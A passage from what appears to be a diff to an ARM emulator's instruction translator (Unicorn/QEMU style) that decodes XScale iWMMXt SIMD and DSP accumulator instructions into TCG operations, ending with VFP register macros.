gen_op_iwmmxt_cmpeqb_M0_wRn(s, rd1); + break; + case 1: + gen_op_iwmmxt_cmpeqw_M0_wRn(s, rd1); + break; + case 2: + gen_op_iwmmxt_cmpeql_M0_wRn(s, rd1); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x800: case 0x900: case 0xc00: case 0xd00: /* WAVG2 */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + if (insn & (1 << 22)) { + if (insn & (1 << 20)) + gen_op_iwmmxt_avgw1_M0_wRn(s, rd1); + else + gen_op_iwmmxt_avgw0_M0_wRn(s, rd1); + } else { + if (insn & (1 << 20)) + gen_op_iwmmxt_avgb1_M0_wRn(s, rd1); + else + gen_op_iwmmxt_avgb0_M0_wRn(s, rd1); + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x802: case 0x902: case 0xa02: case 0xb02: /* WALIGNR */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = iwmmxt_load_creg(s, ARM_IWMMXT_wCGR0 + ((insn >> 20) & 3)); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 7); + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rd1); + gen_helper_iwmmxt_align(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x601: case 0x605: case 0x609: case 0x60d: /* TINSR */ + if (((insn >> 6) & 3) == 3) + return 1; + rd = (insn >> 12) & 0xf; + wrd = (insn >> 16) & 0xf; + tmp = load_reg(s, rd); + gen_op_iwmmxt_movq_M0_wRn(s, wrd); + switch ((insn >> 6) & 3) { + case 0: + tmp2 = tcg_const_i32(tcg_ctx, 0xff); + tmp3 = tcg_const_i32(tcg_ctx, (insn & 7) << 3); + break; + case 1: + tmp2 = tcg_const_i32(tcg_ctx, 0xffff); + tmp3 = tcg_const_i32(tcg_ctx, (insn & 3) << 4); + break; + case 2: + tmp2 = tcg_const_i32(tcg_ctx, 0xffffffff); + tmp3 = tcg_const_i32(tcg_ctx, (insn & 1) << 5); + break; + default: + TCGV_UNUSED_I32(tmp2); + TCGV_UNUSED_I32(tmp3); + } + gen_helper_iwmmxt_insr(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x107: case 0x507: case 0x907: case 0xd07: /* TEXTRM */ + rd = (insn >> 12) & 0xf; + wrd = (insn >> 16) & 0xf; + if (rd == 15 || ((insn >> 22) & 3) == 3) + return 1; + gen_op_iwmmxt_movq_M0_wRn(s, wrd); + tmp = tcg_temp_new_i32(tcg_ctx); + switch ((insn >> 22) & 3) { + case 0: + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, (insn & 7) << 3); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_M0); + if (insn & 8) { + tcg_gen_ext8s_i32(tcg_ctx, tmp, tmp); + } else { + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0xff); + } + break; + case 1: + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, (insn & 3) << 4); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_M0); + if (insn & 8) { + tcg_gen_ext16s_i32(tcg_ctx, tmp, tmp); + } else { + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0xffff); + } + break; + case 2: + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, (insn & 1) << 5); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_M0); + break; + } + store_reg(s, rd, tmp); + break; + case 0x117: case 0x517: case 0x917: case 0xd17: /* TEXTRC */ + if ((insn & 0x000ff008) != 0x0003f000 || ((insn >> 22) & 3) == 3) + return 1; + tmp = iwmmxt_load_creg(s, ARM_IWMMXT_wCASF); + switch ((insn >> 22) & 3) { + case 0: + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, ((insn & 7) << 2) + 0); + break; + case 1: + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, ((insn & 3) << 3) + 4); + break; + case 2: + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, ((insn & 1) << 4) + 12); + break; + } + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, 28); + gen_set_nzcv(s, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x401: case 0x405: case 0x409: case 0x40d: /* TBCST */ + if (((insn >> 6) & 3) == 3) + return 1; + rd = (insn >> 12) & 0xf; + wrd = (insn >> 16) & 0xf; + tmp = load_reg(s, rd); + switch ((insn >> 6) & 3) { + case 0: + gen_helper_iwmmxt_bcstb(tcg_ctx, tcg_ctx->cpu_M0, tmp); + break; + case 1: + gen_helper_iwmmxt_bcstw(tcg_ctx, tcg_ctx->cpu_M0, tmp); + break; + case 2: + gen_helper_iwmmxt_bcstl(tcg_ctx, tcg_ctx->cpu_M0, tmp); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x113: case 0x513: case 0x913: case 0xd13: /* TANDC */ + if ((insn & 0x000ff00f) != 0x0003f000 || ((insn >> 22) & 3) == 3) + return 1; + tmp = iwmmxt_load_creg(s, ARM_IWMMXT_wCASF); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp2, tmp); + switch ((insn >> 22) & 3) { + case 0: + for (i = 0; i < 7; i ++) { + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 4); + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + } + break; + case 1: + for (i = 0; i < 3; i ++) { + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 8); + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + } + break; + case 2: + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 16); + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + break; + } + gen_set_nzcv(s, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x01c: case 0x41c: case 0x81c: case 0xc1c: /* WACC */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + gen_helper_iwmmxt_addcb(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0); + break; + case 1: + gen_helper_iwmmxt_addcw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0); + break; + case 2: + gen_helper_iwmmxt_addcl(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x115: case 0x515: case 0x915: case 0xd15: /* TORC */ + if ((insn & 0x000ff00f) != 0x0003f000 || ((insn >> 22) & 3) == 3) + return 1; + tmp = iwmmxt_load_creg(s, ARM_IWMMXT_wCASF); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp2, tmp); + switch ((insn >> 22) & 3) { + case 0: + for (i = 0; i < 7; i ++) { + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 4); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + } + break; + case 1: + for (i = 0; i < 3; i ++) { + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 8); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + } + break; + case 2: + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 16); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + break; + } + gen_set_nzcv(s, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x103: case 0x503: case 0x903: case 0xd03: /* TMOVMSK */ + rd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + if ((insn & 0xf) != 0 || ((insn >> 22) & 3) == 3) + return 1; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_temp_new_i32(tcg_ctx); + switch ((insn >> 22) & 3) { + case 0: + gen_helper_iwmmxt_msbb(tcg_ctx, tmp, tcg_ctx->cpu_M0); + break; + case 1: + gen_helper_iwmmxt_msbw(tcg_ctx, tmp, tcg_ctx->cpu_M0); + break; + case 2: + gen_helper_iwmmxt_msbl(tcg_ctx, tmp, tcg_ctx->cpu_M0); + break; + } + store_reg(s, rd, tmp); + break; + case 0x106: case 0x306: case 0x506: case 0x706: /* WCMPGT */ + case 0x906: case 0xb06: case 0xd06: case 0xf06: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + if (insn & (1 << 21)) + gen_op_iwmmxt_cmpgtsb_M0_wRn(s, rd1); + else + gen_op_iwmmxt_cmpgtub_M0_wRn(s, rd1); + break; + case 1: + if (insn & (1 << 21)) + gen_op_iwmmxt_cmpgtsw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_cmpgtuw_M0_wRn(s, rd1); + break; + case 2: + if (insn & (1 << 21)) + gen_op_iwmmxt_cmpgtsl_M0_wRn(s, rd1); + else + gen_op_iwmmxt_cmpgtul_M0_wRn(s, rd1); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x00e: case 0x20e: case 0x40e: case 0x60e: /* WUNPCKEL */ + case 0x80e: case 0xa0e: case 0xc0e: case 0xe0e: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + if (insn & (1 << 21)) + gen_op_iwmmxt_unpacklsb_M0(s); + else + gen_op_iwmmxt_unpacklub_M0(s); + break; + case 1: + if (insn & (1 << 21)) + gen_op_iwmmxt_unpacklsw_M0(s); + else + gen_op_iwmmxt_unpackluw_M0(s); + break; + case 2: + if (insn & (1 << 21)) + gen_op_iwmmxt_unpacklsl_M0(s); + else + gen_op_iwmmxt_unpacklul_M0(s); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x00c: case 0x20c: case 0x40c: case 0x60c: /* WUNPCKEH */ + case 0x80c: case 0xa0c: case 0xc0c: case 0xe0c: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + if (insn & (1 << 21)) + gen_op_iwmmxt_unpackhsb_M0(s); + else + gen_op_iwmmxt_unpackhub_M0(s); + break; + case 1: + if (insn & (1 << 21)) + gen_op_iwmmxt_unpackhsw_M0(s); + else + gen_op_iwmmxt_unpackhuw_M0(s); + break; + case 2: + if (insn & (1 << 21)) + gen_op_iwmmxt_unpackhsl_M0(s); + else + gen_op_iwmmxt_unpackhul_M0(s); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x204: case 0x604: case 0xa04: case 0xe04: /* WSRL */ + case 0x214: case 0x614: case 0xa14: case 0xe14: + if (((insn >> 22) & 3) == 0) + return 1; + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_temp_new_i32(tcg_ctx); + if (gen_iwmmxt_shift(s, insn, 0xff, tmp)) { + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + switch ((insn >> 22) & 3) { + case 1: + gen_helper_iwmmxt_srlw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 2: + gen_helper_iwmmxt_srll(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 3: + gen_helper_iwmmxt_srlq(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x004: case 0x404: case 0x804: case 0xc04: /* WSRA */ + case 0x014: case 0x414: case 0x814: case 0xc14: + if (((insn >> 22) & 3) == 0) + return 1; + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_temp_new_i32(tcg_ctx); + if (gen_iwmmxt_shift(s, insn, 0xff, tmp)) { + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + switch ((insn >> 22) & 3) { + case 1: + gen_helper_iwmmxt_sraw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 2: + gen_helper_iwmmxt_sral(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 3: + gen_helper_iwmmxt_sraq(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x104: case 0x504: case 0x904: case 0xd04: /* WSLL */ + case 0x114: case 0x514: case 0x914: case 0xd14: + if (((insn >> 22) & 3) == 0) + return 1; + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_temp_new_i32(tcg_ctx); + if (gen_iwmmxt_shift(s, insn, 0xff, tmp)) { + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + switch ((insn >> 22) & 3) { + case 1: + gen_helper_iwmmxt_sllw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 2: + gen_helper_iwmmxt_slll(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 3: + gen_helper_iwmmxt_sllq(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x304: case 0x704: case 0xb04: case 0xf04: /* WROR */ + case 0x314: case 0x714: case 0xb14: case 0xf14: + if (((insn >> 22) & 3) == 0) + return 1; + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_temp_new_i32(tcg_ctx); + switch ((insn >> 22) & 3) { + case 1: + if (gen_iwmmxt_shift(s, insn, 0xf, tmp)) { + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + gen_helper_iwmmxt_rorw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 2: + if (gen_iwmmxt_shift(s, insn, 0x1f, tmp)) { + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + gen_helper_iwmmxt_rorl(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + case 3: + if (gen_iwmmxt_shift(s, insn, 0x3f, tmp)) { + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + gen_helper_iwmmxt_rorq(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x116: case 0x316: case 0x516: case 0x716: /* WMIN */ + case 0x916: case 0xb16: case 0xd16: case 0xf16: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + if (insn & (1 << 21)) + gen_op_iwmmxt_minsb_M0_wRn(s, rd1); + else + gen_op_iwmmxt_minub_M0_wRn(s, rd1); + break; + case 1: + if (insn & (1 << 21)) + gen_op_iwmmxt_minsw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_minuw_M0_wRn(s, rd1); + break; + case 2: + if (insn & (1 << 21)) + gen_op_iwmmxt_minsl_M0_wRn(s, rd1); + else + gen_op_iwmmxt_minul_M0_wRn(s, rd1); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x016: case 0x216: case 0x416: case 0x616: /* WMAX */ + case 0x816: case 0xa16: case 0xc16: case 0xe16: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + if (insn & (1 << 21)) + gen_op_iwmmxt_maxsb_M0_wRn(s, rd1); + else + gen_op_iwmmxt_maxub_M0_wRn(s, rd1); + break; + case 1: + if (insn & (1 << 21)) + gen_op_iwmmxt_maxsw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_maxuw_M0_wRn(s, rd1); + break; + case 2: + if (insn & (1 << 21)) + gen_op_iwmmxt_maxsl_M0_wRn(s, rd1); + else + gen_op_iwmmxt_maxul_M0_wRn(s, rd1); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x002: case 0x102: case 0x202: case 0x302: /* WALIGNI */ + case 0x402: case 0x502: case 0x602: case 0x702: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_const_i32(tcg_ctx, (insn >> 20) & 3); + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rd1); + gen_helper_iwmmxt_align(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x01a: case 0x11a: case 0x21a: case 0x31a: /* WSUB */ + case 0x41a: case 0x51a: case 0x61a: case 0x71a: + case 0x81a: case 0x91a: case 0xa1a: case 0xb1a: + case 0xc1a: case 0xd1a: case 0xe1a: case 0xf1a: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 20) & 0xf) { + case 0x0: + gen_op_iwmmxt_subnb_M0_wRn(s, rd1); + break; + case 0x1: + gen_op_iwmmxt_subub_M0_wRn(s, rd1); + break; + case 0x3: + gen_op_iwmmxt_subsb_M0_wRn(s, rd1); + break; + case 0x4: + gen_op_iwmmxt_subnw_M0_wRn(s, rd1); + break; + case 0x5: + gen_op_iwmmxt_subuw_M0_wRn(s, rd1); + break; + case 0x7: + gen_op_iwmmxt_subsw_M0_wRn(s, rd1); + break; + case 0x8: + gen_op_iwmmxt_subnl_M0_wRn(s, rd1); + break; + case 0x9: + gen_op_iwmmxt_subul_M0_wRn(s, rd1); + break; + case 0xb: + gen_op_iwmmxt_subsl_M0_wRn(s, rd1); + break; + default: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x01e: case 0x11e: case 0x21e: case 0x31e: /* WSHUFH */ + case 0x41e: case 0x51e: case 0x61e: case 0x71e: + case 0x81e: case 0x91e: case 0xa1e: case 0xb1e: + case 0xc1e: case 0xd1e: case 0xe1e: case 0xf1e: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tmp = tcg_const_i32(tcg_ctx, ((insn >> 16) & 0xf0) | (insn & 0x0f)); + gen_helper_iwmmxt_shufh(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x018: case 0x118: case 0x218: case 0x318: /* WADD */ + case 0x418: case 0x518: case 0x618: case 0x718: + case 0x818: case 0x918: case 0xa18: case 0xb18: + case 0xc18: case 0xd18: case 0xe18: case 0xf18: + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 20) & 0xf) { + case 0x0: + gen_op_iwmmxt_addnb_M0_wRn(s, rd1); + break; + case 0x1: + gen_op_iwmmxt_addub_M0_wRn(s, rd1); + break; + case 0x3: + gen_op_iwmmxt_addsb_M0_wRn(s, rd1); + break; + case 0x4: + gen_op_iwmmxt_addnw_M0_wRn(s, rd1); + break; + case 0x5: + gen_op_iwmmxt_adduw_M0_wRn(s, rd1); + break; + case 0x7: + gen_op_iwmmxt_addsw_M0_wRn(s, rd1); + break; + case 0x8: + gen_op_iwmmxt_addnl_M0_wRn(s, rd1); + break; + case 0x9: + gen_op_iwmmxt_addul_M0_wRn(s, rd1); + break; + case 0xb: + gen_op_iwmmxt_addsl_M0_wRn(s, rd1); + break; + default: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x008: case 0x108: case 0x208: case 0x308: /* WPACK */ + case 0x408: case 0x508: case 0x608: case 0x708: + case 0x808: case 0x908: case 0xa08: case 0xb08: + case 0xc08: case 0xd08: case 0xe08: case 0xf08: + if (!(insn & (1 << 20)) || ((insn >> 22) & 3) == 0) + return 1; + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 1: + if (insn & (1 << 21)) + gen_op_iwmmxt_packsw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_packuw_M0_wRn(s, rd1); + break; + case 2: + if (insn & (1 << 21)) + gen_op_iwmmxt_packsl_M0_wRn(s, rd1); + else + gen_op_iwmmxt_packul_M0_wRn(s, rd1); + break; + case 3: + if (insn & (1 << 21)) + gen_op_iwmmxt_packsq_M0_wRn(s, rd1); + else + gen_op_iwmmxt_packuq_M0_wRn(s, rd1); + break; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x201: case 0x203: case 0x205: case 0x207: + case 0x209: case 0x20b: case 0x20d: case 0x20f: + case 0x211: case 0x213: case 0x215: case 0x217: + case 0x219: case 0x21b: case 0x21d: case 0x21f: + wrd = (insn >> 5) & 0xf; + rd0 = (insn >> 12) & 0xf; + rd1 = (insn >> 0) & 0xf; + if (rd0 == 0xf || rd1 == 0xf) + return 1; + gen_op_iwmmxt_movq_M0_wRn(s, wrd); + tmp = load_reg(s, rd0); + tmp2 = load_reg(s, rd1); + switch ((insn >> 16) & 0xf) { + case 0x0: /* TMIA */ + gen_helper_iwmmxt_muladdsl(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2); + break; + case 0x8: /* TMIAPH */ + gen_helper_iwmmxt_muladdsw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2); + break; + case 0xc: case 0xd: case 0xe: case 0xf: /* TMIAxy */ + if (insn & (1 << 16)) + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, 16); + if (insn & (1 << 17)) + tcg_gen_shri_i32(tcg_ctx, tmp2, tmp2, 16); + gen_helper_iwmmxt_muladdswl(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2); + break; + default: + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + return 1; + } + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + default: + return 1; + } + + return 0; +} + +/* Disassemble an XScale DSP instruction. Returns nonzero if an error occurred + (ie. an undefined instruction). */ +static int disas_dsp_insn(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int acc, rd0, rd1, rdhi, rdlo; + TCGv_i32 tmp, tmp2; + + if ((insn & 0x0ff00f10) == 0x0e200010) { + /* Multiply with Internal Accumulate Format */ + rd0 = (insn >> 12) & 0xf; + rd1 = insn & 0xf; + acc = (insn >> 5) & 7; + + if (acc != 0) + return 1; + + tmp = load_reg(s, rd0); + tmp2 = load_reg(s, rd1); + switch ((insn >> 16) & 0xf) { + case 0x0: /* MIA */ + gen_helper_iwmmxt_muladdsl(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2); + break; + case 0x8: /* MIAPH */ + gen_helper_iwmmxt_muladdsw(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2); + break; + case 0xc: /* MIABB */ + case 0xd: /* MIABT */ + case 0xe: /* MIATB */ + case 0xf: /* MIATT */ + if (insn & (1 << 16)) + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, 16); + if (insn & (1 << 17)) + tcg_gen_shri_i32(tcg_ctx, tmp2, tmp2, 16); + gen_helper_iwmmxt_muladdswl(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tmp, tmp2); + break; + default: + return 1; + } + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + + gen_op_iwmmxt_movq_wRn_M0(s, acc); + return 0; + } + + if ((insn & 0x0fe00ff8) == 0x0c400000) { + /* Internal Accumulator Access Format */ + rdhi = (insn >> 16) & 0xf; + rdlo = (insn >> 12) & 0xf; + acc = insn & 7; + + if (acc != 0) + return 1; + + if (insn & ARM_CP_RW_BIT) { /* MRA */ + iwmmxt_load_reg(s, tcg_ctx->cpu_V0, acc); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_R[rdlo], tcg_ctx->cpu_V0); + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_R[rdhi], tcg_ctx->cpu_V0); + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_R[rdhi], tcg_ctx->cpu_R[rdhi], (1 << (40 - 32)) - 1); + } else { /* MAR */ + tcg_gen_concat_i32_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_R[rdlo], tcg_ctx->cpu_R[rdhi]); + iwmmxt_store_reg(s, tcg_ctx->cpu_V0, acc); + } + return 0; + } + + return 1; +} + +// this causes "warning C4293: shift count negative or too big, undefined behavior" +// on msvc, so is replaced with separate versions for the shift to perform. +//#define VFP_REG_SHR(x, n) (((n) > 0) ? (x) >> (n) : (x) << -(n)) +#if 0 +#define VFP_SREG(insn, bigbit, smallbit) \ + ((VFP_REG_SHR(insn, bigbit - 1) & 0x1e) | (((insn) >> (smallbit)) & 1)) +#endif + +#define VFP_REG_SHR_NEG(insn, n) ((insn) << -(n)) +#define VFP_SREG_NEG(insn, bigbit, smallbit) \ + ((VFP_REG_SHR_NEG(insn, 